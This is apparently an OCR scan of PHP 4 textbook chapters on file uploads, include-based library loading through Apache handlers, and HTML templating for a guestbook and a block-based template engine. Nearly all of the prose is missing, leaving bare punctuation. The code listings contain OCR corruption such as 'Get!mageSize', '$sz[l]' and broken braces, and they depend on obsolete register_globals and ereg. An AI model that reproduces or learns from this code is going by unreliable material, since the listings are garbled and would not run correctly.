"": , ,
.
, <input type=fiie>
? ,
"" c : \ p a s s w o r d s . t x t . ""
JavaScript ,
"" .
, vaiue=C: \passwords .txt.
: , , JavaScript, ""
,
.
, <input type=fiie> value?..

392

V.


Web-, ,
, "" , multipart. , .


, ,
. ""
.
, .
multipart-, :
<form action="script.php" method=POST enctype=multipart/form-data>
<input type=file name="MyFile">
<input type=submit>
</form>
(
, ) ,
, . , .
$MyFile ,
, . : , , , ...
$MyFiie_name ,
.
$MyFiie_size .
$MyFiie_type , . , i m a g e / g i f , text/html . .
, MyFiie_. , _.
, ,
, Copy ($MyFile, "uploaded.dat")
, , ,
$MyFiie_size.

, /. ,

28.

393

, , ,
. , :
.

, , $MyFiie,
.

:
,
.
| 28.1. photo. php:

$ImgDir="img";

//

@mkdir ($ImgDir, 666) ; // ,


// ,
if (@$doUpload) {
// ,
if (@file_exists ($File) ) {
//
// ,
Copy ($File, "$ImgDir/".basename ($File_name) ) ;

//
$d=opendir ($ImgDir) ;

//

$Photos=array () ;

//

//
while ( ($e=readdir ($d) ) !==false) {
// GIF, JPG PNG?
if ( !ereg("A (.*) \\. (gif I jpglpng) $", $e, $P) ) continue;
// , ,
//
$path="$ImgDir/$e";

//

$sz=Get!mageSize ($path) ; //

394

V.

$tm=filemtime(?path);
//
// $Photos
$Photos[$tm] = array(
'time1 => filemtime($path), //
'name' <=> $e,
//
'url' => $path,
// URI
r
w'
=> $sz[0],
//
'h'
=> $sz[l],
//
'wh'
=> $sz[3]
// "width=xxx height=yyy"

/ / I01JU4U.; - vi'iiuLoa - ,

// . : ""
// .
krsort ($Photos) ;
// . .

<body>
<form action=photo.php method=POST enctype=multipart/form-data>
<input type=file name=File><br>
<input type=submit name=doUpload value="3aKa4aTb ">
</form>
<?foreach($Photos as $n=>$Img) {?>
<img
src=<?=$Img[ 'url' ] ?>
<?=$Img[ 'wh' ] ?>
]^=" <?=date ("d.ra.Y H: i: s", $Img [ 'time '])?>"

</body>

, (,
),
, -, .
( ) .
, ,
( , , ,
).

28.

395

, . , , , . , . . ,
, ?>,
. ,
. , , . .


, , , , ,
: [ ] , [1] [text] . . ( ) "" ,
. , 4 .

, .
<form action="script.php" method=POST enctype=multipart/form-data>
<> :</>
: <input type=file name="File[text]"><br>
: <input type=file name="File[bin]"><br>
: <input type=file name="File[pic]"><br>
<input type=submit name=Go value="OTnpaBHTb ">
</form>

s c r i p t . p h p , :
$Fiie, text, bin pic, , ;
$Fiie_name
;
$Fiie_type ;
$Fiie_size .
, .
, ,
Dump($GLOBALS), /7,
.

V.

396

, 3
. , .


, .
. , . . , , ,
.
, :
<form action="script.php" method=POST enctype=multipart/form-data>
<input type=file name="File [a] [b] ">
<input type=submit>
</form>

"" ,
$Fiie, . ,
4.0. -
( ) .) , .
,
"" . , , ,
$HTTP_POST_FILES.
, , .
(

$HTTP_POST_FILES , ,
track_vars. , , 4 (
), .

$HTTP_POST_FILES , ,
. . ,
Dump ( ) , , , , .

29

.
""

. , ,
. ,
(
) ,
.
, , . ., .
: , , ,
.
, : ,
- .
: ,
,
.
.


, : " ?
include?" , , include,
- .
, -
,
, . - , (, . . / . ./php/somef ile.php)
( ,
,
).

398

V.

, , , - , , .

, include require
( , ,
" " ,
). , , , - ,
: . ,
inciude__once include,
, , 4.
.
, , , .

. , ,
include.
, .

, , , Perl.

, "",

. uses ( ) .

(, phi), , , ,
( ) .

, uses ( ) (
) , ,
. , ,
, , .

29. . ""

399

, uses ( ) .
. , , , ,
. : uses (} , , " ", , , ,
, inciude_once . , ,
, "" . , Perl, .
, .
,
. , "" . , , .
, , ,
.
,
. $SCRIPT_NAME ( ), , , Windows-
, .
,
, . ,
, , , getcwd ( ) .
:
! 29.1. : librarian.phi
<?if(!defined("LIBRARIAN_LOADED")) {
define("LIBRARIAN_LOADED", I);
//
define("LibExt","phi");
// . ,
// , ,

400

V.

// Uses
// .
S INC []=".",
$ INCH =". /lib";
// "" $dir $fname,
// (, $dir
// $fname) .
function glue_path ($dir, $fname)
{ $dir=strtr(trim($dir) ,"\\","/") ;
$name=strtr (trim(Sfname) , "\\", "/") ;
if (@$fname[0] =='//') return $f name;
if (@$dir[strlen($dir)-l] =='/') return $dir.$fname;
return "$dir/$fname";

I / .
// ( ,
// ) , ,
// (
// $cur) .
/ / .
// realpath ( )
// , , ,
// .
function GetAbsPath ($name, $cur="") { return abs_path ($name, $cur) ; }
function abs_path($name, $cur="")
{
//
$name=strtr (trim($name) , "\\", "/") ;
// "/"
$Parts=explode ("/" , $name) ;
$Path=($cur===""?getcwd() :$cur) ; //
foreach($Parts as $i=>$s) if($s!=".") {
// ?
if(!$i && (strlen($s)>l&&$s[l]==":"| l$s=="")) $Path=$s;
// ?
else if ($s==". .") {
// , ?..
if (strlen($Path)>l && $Path [1]==" : " &&
strlen($Path)<=3 || $Path=="/" || $Path=="\\") continue;
// dirname()

29.

""

$p=dirname ($Path) ;
if ($p=="/"l l$p=="\\"l |$p==".") $Path=""; else $Path=$p;

}
//
else if($s!=="") $Path=glue_path ($Path, $s) ;
}
return ($Path!==""?$Path: "/") ;

// URL ,
// , ,
// DOCUMENT_ROOT,
// - dirname ($SCRIPT_NAME) .
// , (,
// URL, Alias- Apache,
// .
function Url2Path ($name)
{

$curUrl=dirname ($GLOBALS [ "SCRIPT_NAME"] ) ;


$url=abs_path (trim($name) ,$curUrl) ;
return getenv ("DOCUMENT_ROOT") . $url;

// $INC ,
// ,

// .
function AbsolutizelNCO
{

global $INC;

static $PrevINC="";
// $INC
// - $INC. ,
// ,
// .
// .
if ($PrevINC!==$INC) {

for($i=0; $i<count ($INC) ; $i++) {


$v=&$INC[$i];
if ($v[0]=="." &&
(strlen($v)==l || $v[l]=='\\' II $v[l]=='/')) continue;
$v=abs_path($v) ;
}
//
$PrevINC=$INC;

401

402

V.

II .
// $INC.
function Uses ($libname)
{

global $INC;
static $PrevINC="";

// $INC

static $LastFound=0; //
// $INC -
// - ?. .
AbsolutizelNCO ;
// , ,
// - .
// , . // , . . .
$l=$LastFound;
do {
/ / ?. .
$dir=$INC[$LastFound] ;
if (@is_file($file="$dir/$libname.".LibExt) ) {
// ,
$cwd=getcwd() ;
chdir (dirname ($file) ) ;
// .
foreach($GLOBALS as $k=>$v) global $$k;
// .
$ret=include__once ($file) ;
// ,
// (?) $INC
AbsolutizelNCO ;
//
chdir ($cwd) ;
return $ret;
}
$LastFound=($LastFound+l) %count ($INC) ;
} while ($LastFound!=$l) ;
// - ""...
die ("Couldn't find library \"$libname\" at ".join(", ", $INC) ."!");

// ,
// , Apache.
@putenv ( "SCRIPT_NAME=" .
$GLOBALS [ "HTTP_ENV__VARS" ] [ "SCRIPT_NAME" ] =
$GLOBALS [ "SCRIPT NAME" ] =

29. . ""

403

ereg_Replace("\\?.*","",getenv("QUERY_STRING"))
);
@putenv("SCRIPT_FILENAME".
$GLOBALS["HTTP__ENV_VARS"]["SCRIPT_FILENAME"]=
$GLOBALS["SCRIPT_FILENAME"]=
Url2Path(getenv("SCRIPT_NAME"))

//
Error_reporting( 1+2+4+8) ;
// !
// !
// , ,
// ,
// Cookies.

, if. , () include .
(

, , ,
. ,
, .

, .
, : " ". ? ? , , . inciude_once
uses , . ,
, .
""
global .

. "" -
, , $GLOBALS.
.
14 . 699

404

V.


, .
, /lib Web- ( ,
, "" ).

include. , . , .

f i l e s . phi,
( - , ), .

, files. phi . , : Uses ( )


.

I 29.2.

<?
include "$DOCUMENT_ROOT/lib/librarian.phl"; //
Uses ("files") ; // files. phi
//
$Content=ReadAllFile ("myfile.txt") ;

// myfile.txt

$Hash=ReadKeyValFile ("keyval.txt") ;

// key=value

// ... , , ,

, . , f i l e s . phi.
I 29.3. files. phi

// ! .
// ,
// OtherModules/dk
$INC [ ] ="OtherModules/dk" ;

29. . ""

405

II - , files. phi
Uses ("SomeOtherModule") ;
Uses ("AndOtherModuleToo") ;
// :
define ( "CRLF" , getenv ( "COMSPEC" } ?"\r\n" : "\n" ) ;
// $fname
function ReadAllFile i$fname)
(

$f=fopen(Sfname, "r") ; if(!Sf) return "";


$Cont=f read($f , lOOOOOOj ; f close ($f } ;
return $Cont;

// $fname,
//

1=!

//
function ReadKeyValFile ($fname)
(

$Cont=@File($fname) ; if ( !@is_array ($Cont) } return array ();


$Hash=array f) ;
foreach($Cont as $i=>$st) {
if ( !(" ( [=] +) = (.*) ",$st,$regs) ) continue;
$Hash[trim($regs[l] ) ] =trim($regs [2] ) ;

}
return $Hash;

29.2 , . ,
:
include "$DOCUMENT_ROOT/lib/librarian.phl"; //

, , .

V.

406

, lib , , . . / l i b r a r i e s , .
- . , ,
, . ,
, .
(

: , -
, ,
.

:
auto_prepend_ file
2,
php.ini, , . ,
Apache (
-),
.htaccess, . ,
. , .

, - NAME
.htaccess php_NAME,
=, php. ini, . Apache .
. auto_prepend_file auto_append_flie.
, , . , ,
?
, auto_prepend_fiie php.ini
. -
Apache , . ,
. .htaccess

29.

""

407

. , ,
.
, , :
| 29.4.

echo $DOCUMENT_ROOT;

, , -
/home/dk/www.
.htaccess
:
php_value auto_prepend_f ile

/ h o m e / d k / w w w / l i b / l i b r a r i a n . phi

, .htaccess, ,
. , .

,
Windows,
. p h p . i n i . ,
.

: Apache
, auto_prepend_f ile auto_append_f ile.
, ,

. Apache.
, , , (
) .

Apache
, Apache? . -,
: . ,

408

V.

(, , ), .
, .
- .
, , ,
. ,
AddHandier, .
, ? Apache Action. ?
Apache. ,
.htaccess, ,
.
, .
. , , . htaccess .
# .
I "?" , URL
# GET, . . QUERY_STRING.
Action libhandler "/lib/libhandler.php?"
# ,
t "" .
AddHandier libhandler .html .htm

.
URL
.
, URL. ,
" " . ,
: Apache , "" libhandler, . . , , . ,
.
URL Action ?. ?
, Apache , . URL, , Apache "",

29. . ""

409

Action, URL
, ,
. ,
/ d i r / f i i e . h t m i , Action
/lib/libhandler.php?/dir/flie.html. -'
, PHP- ,
, , QUERY_STRING.
, html htm

,

/ ; / ] i b h s n d i e - r .php. ,
Apache
,
, .
.
, $GLOBALS phpinf ( ) ,
l i b h a n d l e r . p h p .

, , , ,
"" , php? ,
, . , /a.php. Apache "", php, /lib/libhandler.php. , ""
libhandler.php.
/lib/libhandler .php?a.php! ,
php. ,
, URL , "":
- , ,
. , , .

, . . . ,
. . , ? ,
( 29.5).

, libhandler.php , .
,
Action .htaccess,
URL. ,
.

410

V.

\ 29.5. /lib/libhandler.php ;

// , .
// , , .
$INC[]=getcwd();
// , ,
// Apache ,
// /lib/libhandler.php. , ,
// REQUESTMJRI,
I/ "pl;-nL ",
// ( ).
// ?,
//' .
// , ,
// .
$FileName=strtr(

FILE

,"\\","/");

$ReqName=ereg_Replace("\\?.*","",strtr(getenv("REQUESTJJRI"),"\\","/"));
if(eregi(quotemeta($ReqName),$FileName)) {
//
include "libhandler.err";
//

$f=fopen("libhandler.log","a+");
fputs($f,date("d.m.Y H:i.s")." $REMOTE_ADDR - Access deniedXn");
fclose($f);
//
exit;

//
// .
Sputenv("REQUEST_URI=".
$GLOBALS["HTTP_ENV_VARS"]["REQUESTJJRI"]=
SGLOBALS["REQUESTJJRI"]=
getenv("QUERY_STRING"}

};
Sputenv("QUERY_STRING=".
$GLOBALS["HTTP_ENV_VARS"] ["QUERY_STRING"] =
$GLOBALS["QUERY STRING"]=

29. . ""

411

ereg_Replace("[?]*\\?","",getenv("QUERY_STRING"))
);

parse_str($QUERY_STRING);
//

include "librarian.phi";
// - ...
// . . .

// ,

chdir(dirname($SCRIPT_FILENAME));
include $SCRIPT_FILENAME;
?>

, ,
? l i b h a n d i e r . e r r
"" . , - :
<head><title>flocTyn !</title></head>

<body>
<2> !</h2>
Apache,
.
,
.
.
</body>

,
html htm .
, , Uses ( ) .

, ,
html, . , .



, html, (,
).
! , ,

4 12

V.

"" .
, :
/forum/Computers-Ol-04-Ol.html

computers-oi-04-oi.html ,
,
"" 1 2001 . ,
, .

Apache
mod_rewrite. , -
.
Action/AddHandler , Apache.

, 29.5
. , ? , include,
, ,
. , -
, -- , .


, . ,
, ,
, AddHandier
.htaccess? He . , ,
- .
-: Apache , , php.
"? ,
Apache . "" . , , text/html, HTML-,
image/gif, , GIF,
. . ( !) , , .
,
. appiication/x-httpd-php. . "", , appiication/x-httpd-php,

29.

""

413

,
"" (
text /html) .
, ? , .
. . , , .htaccess
:
Ada'i'ype ! 2 ...

[^

,
? , GIF, JPG PNG
. , AddType . Apache mod_mime_magic (, , -).
, AddType , , . , GIF-
G, I F. 100% .

, php4 . .htaccess, , :
AddType application/x-httpd-php php4

php4 ,
php. , ( php)
nttpd.conf -.



, 29.5
html htm, php? , (. ). .
, ,
,
29.5. , , php4. .htaccess:
PHF

414

V.

AddType application/x-httpd-php php4


#
Action libhandler "/lib/libhandler.php4?"
# ""
AddHandler libhandler .html .htm .php

, ,
libhandler.php libhandler.php4.

php , .

30

, , ,
HTML-,
. .
: , HTML, . , HTML-
, "" ,
.
, :
, .
.
, ( ) . ,
,
.
, " ", ? . ,
, "" ( ), Web-
.

, . , , .
, , ,
. : , ? , . , ,
. - .

416

V.


.
? Web-?
.
, , , , . ( "") ,
.
( ""), ,
. ,
,
. , , "" . , Web-, Web,
. , -
(, ), , ,
. , , "" .

, .
,
. ,
, .

Web-
? . -, Web-. -,

. ,
,
Web- .
,
? , , . :
HTML-,
- .

30.

417

, ( ?) - .

,
. , : HTML . ,
, "" , "
", .


, .
, , . :
( ). . 28,
. .


.
( 30.1). .
30.1. : gbook.htm
<htmlxheadxtitle>rocTeBaH Kiaira</title></head>
<body>
<2> :</h2>
<form action=gbook.php method=post>
: <input type=text name="New[name]"><br>
:<br>
<textarea name="New[text]" wrap=virtual cols=60 rows=5x/textarea><br>
<input type=submit name="doAdd" 1="!">
</form>
<2> :</h2>
<?foreach($Book as $id=>$Entry) {?>
: <?=$Entry['name']?><br>

418

V.

:<br> < ? = $ E n t r y [ ' t e x t ' ] ? > < h r >


<?}?>
</body></html>

, PHP-, foreach. , , , .
, ,
. , : "" foreach (, , ), :
<foreach src=Book>
: $name<br>
:<br>$text<hr>
</foreach>

, .
"" HTML-.


: .
. , . , - ,
: , .
:
foreach ,
, . ,
?..

, "" ( , ).
, "" . , "" . .

30.

419


, . , , ,
foreach
$Book, .
,
( , ).
, - . , ,
gbook.php.
, , . ( 30.2).
; 30.2. : gbook.php

define ( "GBook", "gbook. dat" ) ; //


// . .
function LoadBook ($fname)
{ $f =@f open (GBook, "rb") ; if(!$f) return array ();
$Book=Unserialize(fread($f, 100000) ) ; fclose($f) ;
return $Book;
}

II .
function SaveBook ($fname, $Book)
{ $f =f open (GBook, "wb" };
fwrite ($f , Serialize ($Book) ) ;
fclose ($f) ;

// .

// .
$Book=LoadBook(GBook};
// , .
// ...

if(!empty($doAdd)} {
//
// $New, . . ,
// , .

420

V.

$Book=array (time ( ) =>$New) +$Book;


// .
SaveBook (GBook, $Book) ;

// . $Book :
// array (
//

_ => array (

//

( id) name => _,

//

text => _

// .
include "gbook.htm";

, , , .
PHP-, include. ,
( ) , , , $Book.
3 .
, - GBook,
. , " "
, ,
. , ,
. , .
, :
, . , , (,
, ).
, .

^)

: , , ,
2 : LoadBook() saveBook(). ,

30.

421

, , . , :
, .



. , .
- . , ,
( ) . , " ":
, . , ? ,
, $doAdd. , submit- ? , "doAdd=flo6aBMib!", . ,
, $Book
.
, . ,
, , N e w f n a m e ] N e w [ t e x t ] , . ,
" ", .
, (, ,
).
, gbook.php
.
HTML. ,
" ", . . ,
, . . .
, gbook.htm
, .
"" $Book, " ".
( , ). , .

422

V.

, ,
.
.
.
1. " "? <,
. ? ,
. , . ?
" "
. ? ,
, . , !
. , ,
. ,
. , . , "": , .
2. ,

action <form>. , ""
"".
3. , . ,
, ( ,
LoadBookO saveBooko). , .
, . , ( ) . ,
( GBook),
.
4. HTML-. ,
,
"" (, , , , . .). ,

30.

423

(,
, , ).
, include, .
,
"" . ,
, (, , ) HTML- .
, . , ( Web-
), , ,
, .


, , , , " ".
? , -, , ( , , ,
) . - ,
.
,
" " .
, , .
( , )
.


,
, . ,
, include:
30.3. : gbook.html
<?include "gbook.php"?>
<htmlxhead><title>rocTeBaH KHMra</title></head>
<body>

424

V.

<2> :</2>
<form action=gbook.html method=post>
: <input type=text name="New[name]"><br>

, . . 30.1. , include
, . ,
, , ""
, . , include - , ,
.
(

, ,
, . , .

, HTML HTML-. ,
. , , HTML
. 29.
.htaccess, ( "") :
AddHandler application/x-httpd-php .html

AddHandler, AddType, ,
HTML . ,
, SSI (Server-Side Includes )
3. AddType " ".

include . - "
". , . ,
. , . , "" ( , ).
,
"" - - . (

30.

425

). , "
", "".
, .



, ,
. (. 30.1 30.2) ,
" ". , . ,
, , .

. 30.1.

,
(. . 30.1). .
, . 30.2 , . 30.1. "" , , , . , , .
, . ,
, .

,
, . , -

V.

426

,
. , ,
, , - .
, . , .

~

k

ti

....

. 30.2.

30.4,
, 30.2. ,
, , .
: "" , "".
! 30.4. : gbook.php

include "kernel.php"; // .
$Book=LoadBook(GBook); // .
// , .
if(!empty($doAdd)) {
// .

30.

427

$Book=array(time()=>$New)+$Book;
// .
SaveBook(GBook, $Book) ;
// , ,
// .

, ,
: "" .
kernel. php ( ).
""
.

, , ,
. , , , ""
.
,
.
- . - 31,
"" ,
( 30.5).
i 30.5. : kernel. php

// .
include "config.php" ;
// . .
function LoadBook ( $ f name )
( $f=@f open (GBook, "rb") ;
if(!$f) return arrayO;
$Book=Unserialize(f read ($f, 100000) ) ;
fclose (Sf ) ;
return $Book;

}
I / .

428

V.

function SaveBook ($fname, $Book)


{ $f=fopen (GBook, "wb") ;
fwrite ($f , Serialize ($Book) ) ;
f close ($f) ;

, ,
include ( ).
GBook, , . " " ( 30.6).
; 30. 6. : config.php
<?

define ("GBook", "gbook.dat") ; //

? ""
5 ( .htaccess, 6). ,
, . , (
) "". : "
". , ,
"" ,
(,
), . , .


, . :
. , ,
.
, ,
. ,
;

30.

429

.
? ?
.
"" ,
, . ,
, . .
. , "" , ,
, . .
$ . :

, , . , , , , , .
, . ,
( ).
(, ), ( value ,
). , , ,
, , , Perl. , , ,
.

" " -- , , . , ,
(, ),
,
.

430

V.

,
. , , .
, , . ,
( , ) ,
.
include, , .
, , . "" .
^

"" "" .
: ( )
" " .

Web-.
: , .
. ( , , , , Mason, Parser .) :
, . ,
HTML, . , , , , .


, , ,
.
, ,
. , , , Web-
.

30.

431


, , , , . , 3 : (header), (text)
(footer). . (text) :
, .

( 30.7):
; 30.7.
<?include "Interface.php"?>
<?include "$DOCUMENT_ROOT/templ/header.htm"?>
,
, ,
Interface.php
<?include "$DOCUMENT_ROOT/templ/footer.htm"?>

, header.htm footer.htm
/tempi ,
.

, .
.
. , ,
. .


:
, .
, .

, , -
,
, .

432

V.

""
: header.htm
footer.htm, , . , HTML (
<body>, <tabie> . .) , . footer
header , ,
, . 30.8
.
I 30.8. header.htm
<html>
<body bgcolor=white>
<1> .</hl>
<tablextr>
<td width=20%>KapTa : . . .</td>
<td>

, . 30.9:
I 30.9. footer.htm
</td>
</trx/table>
</body>
</html>

. ,
header.htm ,
footer.htm. ,
: .
,
.


.
"", header.htm footer.htm.
, "" . , -

30.

433

( ).
, header- footer-, ,
, headeri.htm footeri.htm. -
, :
. , , - (,
HomeSite Allaire), , ,
"". , FTP, "" , , . , " " .
--
"" ( ),
. , , .

~^)

, ,
, . ,
header- footer-.
"" . ,
Unix. , ,
(
).

?
,
(, ).
, ? : .
" " . ? : - . ,
? .
, , .
"" "". , . . , . , . : ,
? . . -

434

V.

, , , , "",
. , , ,
.
, , " "
. ,
. "" , ,
.
.

, ?
, !

, "" :
29, , . "" , .


, . , , , ,
. ( ).
, , .


(text)
footer header. , "" "", ,
. : ""
, , "" "". : . ,
!
?
30.10.

30.

435

! 30.10. : /tempi/main, tmpl


<?Block("Output"?>
<htmlxhead><title><?=Blk("Title")?><title></head>
<body bgcolor=white>
<> .</1>
<table><tr>
<td width=20% : . . .</td>
<td width=80%x?=Blk("Text") ?></td>
</trX/table>
</body></html>

He <?Block("Output"?>. .

, ""
, .
/tempi/main, tmpl.

, Text,
?
.
,
/news/weekly/today.html. , , ""
"" today.html, /news/weekly. ,

.


,
, .
, "" :
;
,
.
, . ,

HTML-.
( -, ). , , .
15 . 699

V.

436

, ( ), . , (. 30.10).
B l k ( ) ( , ) , . ,
"" .
, .
?
<?!"") ?>. 30.11.
I 30.11. : /phil/index.html
<?Block("Title","[]")?>
<?Block("Text")?>
. ,
,
, .
.
<?Block("Cite")?>
, , . ,
, ,
.

30.11 ,
. Block , Title.
,
. , Block ,
,
, .
. , , , ,
. , , .

, , . ,
- 30.11, .

30.

437

, ,
. ,
Template, . , , header
footer? , .


, , / p h i i / index. html, 30.11, Title, Text cite.
. , , ,
, /phii /.
. , ,
, .
, /phii Title, ,
, weekly. index.html
Title. ? :
. , , , .
, .
, ,
.
, ,
.
.
, ""
. ,
.
, .
? , , .


( Windows) . ,
.

.htaccess. Apache
"" <?Biock( . . . ) ? > ,

438

V.

t . ,
, , , . 30.12
.htaccess, .
! 30.12. : / .htaccess

tt<?Inc("templ")?>
#<?Block("DefaultGlue", " | " ) ? >
#<?Block("Template","default. tmpl") ?>
#<?Block("Title"," ")?>
# .
Action templhandler "/php/TemplateHandler.php?"
# "" .
AddHandler templhandler .html .htm

,
Apache,
,
HTML-. : 29
,
.
^

, , , , ,
Block ( ) . , "" . , :
include, , ,
, . , : ,
, . ,
- ...

Template.. , ,
. , , Template - ,
.
, , ?

30.

439

.
output. , . output
, ( ).


" "
"" "", , , -
"

",
"".
Title. , , , :
;
, , | /;
, ,
, .
,
. . , [], , ""
, . "-" .
"" , . , [ ] ( ), DefauitGlue (. 30.12),
|.
/phil/index.html 30.11, , T i t l e
"" . ,
Title :
<?Block("Title","[]")?>



. Load , ,
, .
( , -

V.

440

Load ( ) ) , (
).

. , ,
, , . Load ( ) .htaccess. , , ,
.
, .
Load {) . , . . in ( ) ,
, , 30.12. : ,
. Load , , .


, , . . , ""
. , .
-,
(. ).
, ,
"" . , . HTML- , ,
. , , (
, , ).

,
. , ,
, .
!

30.

44?



,
. :
, . , ,
,
.
"" , HTML , ( ) .
, , , .
, , ?!
, , ,
uses ( ) .

Uses () .
,
. Uses () , ,
. . ( , , usesMulti ()),
.
Uses () , include,
include_once. .

. ,
. ,
- , ,
, , .

Apache
, .
,
, 29.
30.13. : TemplateHandler. php

// ,

442

V.

/I , Apache.

$FileName=strtr(

FILE ,"\\","/") ;

$ReqName=ereg_Replace("\\?.*","",strtr(getenv("REQUEST_URI"),"\\","/"));
if(eregi(quotemeta($ReqName),$FileName)) {
// .
include "TemplateHandler.err";
// .
$f=fopen("TemplateHandler.log","a+"};
fputs($f,date("d.m.Y H:i.s")." $REMOTE_ADDR - Access deniedXn");

fclose($f);
// .
exit;

//
// .
Sputenv("REQUEST_URI=".
$GLOBALS["HTTP_ENV_VARS"]["REQUEST_URI"]=
$GLOBALS["REQUESTJJRI"]=
getenv("QUERY_STRING")

);
@putenv("QUERY_STRING=".
$GLOBALS["HTTP_ENV_VARS"]["QUERY_STRING"]=
$GLOBALS["QUERYJ3TRING"]=
ereg Replace (" [?] *\\?", "",-getenv ("QUERY STRING")}

parse_str($QUERY_STRING);
// .
$INC[l=getcwd();
include "Librarian.phi";'
// .
chdir(dirname($SCRIPT_FILENAME));
// .
Uses("Template");
// .
echo RunUrl($SCRIPT NAME);

30.

443


, ,
Template. phi. , . Runuri - "" , (
) . output, .
30.14 .
| 30.14. : Template .phi

// ,
define ("DefGlue", " I ");
//
def ine ("Htaccess_Name", " .htaccess") ; // .htaccess-
// ""
def ine ("BlkTemplate", "template") ; //
def ine ("BlkOutput", "output") ;
//
def ine ("BlkDefGlue", "defaultglue") ; // ""
//
$GLOBALS [ "BLOCK" ]=array ( } ;

//

$GLOBALS["BLOCK_INC"]=array() ;

// $INC

$GLOBALS ["CURBLOCK_URL"]=false; // URL


$GLOBALS ["bSingleLine"]=0;
.htaccess

// : -

// -,
// ,
// . , ,
// (, ,
// ) . :
//

void FilterFunc( string $BlkName, string &$Value, string $BlkUrl)

$GLOBALS ["BLOCKFILTERS"]=array (
"_FBlkTabs",
"_FBlkGlue"
//*** -

444

V.

// . .
function Blk($name)
{

return @$GLOBALS[ "BLOCK"] [strtolower ($name) ] ;

// URL .
// URL (
// ) .
function Inc($url)
{

global $CURBLOCK_ORL,$SCRIPT_NAME;
$CurUrl=$CURBLOCK_URL; if(!$CurUrl) $CurUrl=$SCRIPT_NAME;

if ($url[0] !="/") $url=abs_path($url,dirname($CurUrl) ) ;


$GLOBALS [ "BLOCK_INC" ] [ ] =$url ;

// , , .
// , ,
// $name. $value,
// $value, .
// ,
// .htaccess. ,
// , ,
/ / -. ,
// ,

// ( , Block () .
function Block (Sname=false, $value=false)
{

global $BLOCK, SbSingleLine, $CURBLOCK_URL;


//
static $Handled=false;

//

static $CurBlock=false; //
// ,
if ($name!==false) $name=strtolower (trim($name) ) ;
// . ,
// Block (). ,
// , ,
// ( ) .
if($Handled) {
// ?
if ($CurBlock!==false) {

30.

__

445

// .
$BLOCK[$CurBlock]=trim(ob_get_contents () ) ;
// ( .htaccess) ,
// , .
if (@$bSingleLine) $BLOCK[$CurBlock]=

ereg_Replace(" [\r\n] .*","", $BLOCK[$CurBlock] ) ;


//
_ProcessContent ($CurBlock, $BLOCK [$CurBlock] , $CURBLOCK__URL) ;
}

//
ob_end__clean ( ) ; $Handled=0 ;
}
// ( ) ,

// , ,
// , (. LoadO).
if ($name!==false) {
//
ob_start ( ) ; $Handled=l ;
// , ,
// . ,
// , - $name, ,
// ,
// .
if ($value===false) {
$CurBlock=$name ;
} else {
// . ,
// (
// ).
_ProcessContent ($name, $value, $CURBLOCK_URL) ;
$BLOCK [ $name ] =$value ;
$CurBlock=false;

// URL $name ,
// , . $name
// URL,

446

V.

// SINC ( ,
// ). $name ,
// , .htaccess,
/ / .
// , ,
function Load($name)
{

global $BLOCK,$bSingleLine,$CURBLOCK_URL,$BLOCK_INC;
// $INC
AbsolutizelNCO ;
// , $BLOCK_INC
$fname=false;
if($name[0]!='/') {
//
foreach($BLOCK_INC as $v) {
$fname=Ur!2Path("$v/$name"); //
if(file_exists($fname)) { $name="$v/$name"; break; }

}
// , $fname ===false
} else {
// URL -
$fname=Url2Path($name);

}
// , URL.
// ,
if($fname===false || !file_exists($fname)}
die("Couldn't open \"$name\"!");
// - , .htaccess
$Single=false;
if(@is_dir($fname)} {
$name=glue_path($name,Htaccess^Name);
$fname=glue_path($fname,Htaccess_Name);
$Single=l;

}
// ( ,
//

.htaccess, ),

// . , .htaccess-a.
if(!file_exists($fname)) return;
// .
// , ( ),

30.

447

II .
$PrevSingle=$bSingleLine; $bSingleLine=@$Single;
$SaveDir=getcwd(); chdir(dirname($fname));
$SaveCBU=$CURBLOCK_URL; $CURBLOCK_URL=$name;
// ,
// (, .htaccess-e
// ).
// _PreBlockText.
Block("_PreBlockText");
//
foreach($GLOBALS as $k=>$v) if(!@Isset($$k)) global $$k;
// .
include $fname;
// , ( ).
//
// .
Block();
if (@$php_errormsg && ereg ('"parse", $php__errormsg) )
echo "<b>Warning:</b> $php_errormsg at $fname, ".
"line ??? - thanks PHP developers <nobr>:-(</nobr>";
chdir($SaveDir);
$CURBLOCK_URL=$ SaveCBU;
$bSingleLine=$PrevSingle;

}
// . $url
/ / Output.
// ( , ).
function RunUrl($url)
{

global $BLOCK;
//

_CollectBlocks($url);
// .
// , ,
// . - .
// Output.
$tmpl=@$BLOCK[BlkTemplate];

if(!$tmpl) {
die("Cannot find the template for <b>$url</b> ".

448

V.

"(have you defined <tt>" .BlkTemplate. "</tt> block?)");

}
Load($tmpl) ;
// Output
if (!isSet($BLOCK[BlkOutput] ) ) {
die ("No output from template <b>$tmpl</b> ".
"(have you defined <tt>" .BlkOutput . "</tt> block?)");
}
return $BLOCK [BlkOutput ];

// .
// , $url,
// .htaccess- .
function _CollectBlocks ($url)
{

global $BLOCK;
$url=abs_path($url,dirname($GLOBALS["SCRIPT_NAME"] ) ) ;
// - /, .
if (strlen ($url) >1) _CollectBlocks (dirname ($url) ) ;
//
Load($url) ;

// .
function _ProcessContent ($name, S$cont, $url)
{

foreach($GLOBALS["BLOCKFILTERS"] as $F)
$F($name,$cont,$url) ;

//*** "" .
// [name] ,
// , "" ,
// , -
// name. name
// ( , []), DefaultGlue,
/ / , - " | ".
function _FBlkGlue ($name, &$cont, $url)
{

global $BLOCK;
if (('"\[ ( ] ]}*]", $cont, $P) ) {
$c=substr ($cont, strlen ($P[0] ) ) ; // [name]

30.

449

$=$[1];
//
// ""?
if (! empty ($BLOCK[$name] )) {
$glue=@$BLOCK[$n] ;
if ( !lsset($glue) ) $glue=@$BLOCK[BlkDefGlue] ;
if ( ! Isset ($glue) ) $glue=DefGlue;
$cont=$BLOCK[$name] . $glue.$c;
}
// - .
else $cont=$c;

//*** .
// HTML- .
// , ,
// , .
// < ?foreach($Book as $k=>$v) {? >
//
<tr>
//
<td>< ?=$Book [ ' name ' ] ? ></td>
//
<td>< ?=$Book[ 'text' ] ? ></td>
//
</tr>
// < ?}? >

function _FBlkTabs ($name, &$cont, $url)


{ $cont=preg_replace("/ A \t+/m", "",$cont) ;

""
30.14
, .
ob_ ( Output Buffering ).
"" , echo, a
, PHP- <? ?>,
.

4. , - .

450

V.

, .
void ob_start()

, ""
. , ,
echo
, , .
,
ob_get_contents .
o b _ s t a r t ( ) , .
s t r i n g ob_get_contents()

,
.
ob_get contents . ( ) , (,
), .

, ,
false. , , .
void ob end clean(}

.
, o b _ s t a r t o , ( ). ,
,
ob_get_content ( ) . .
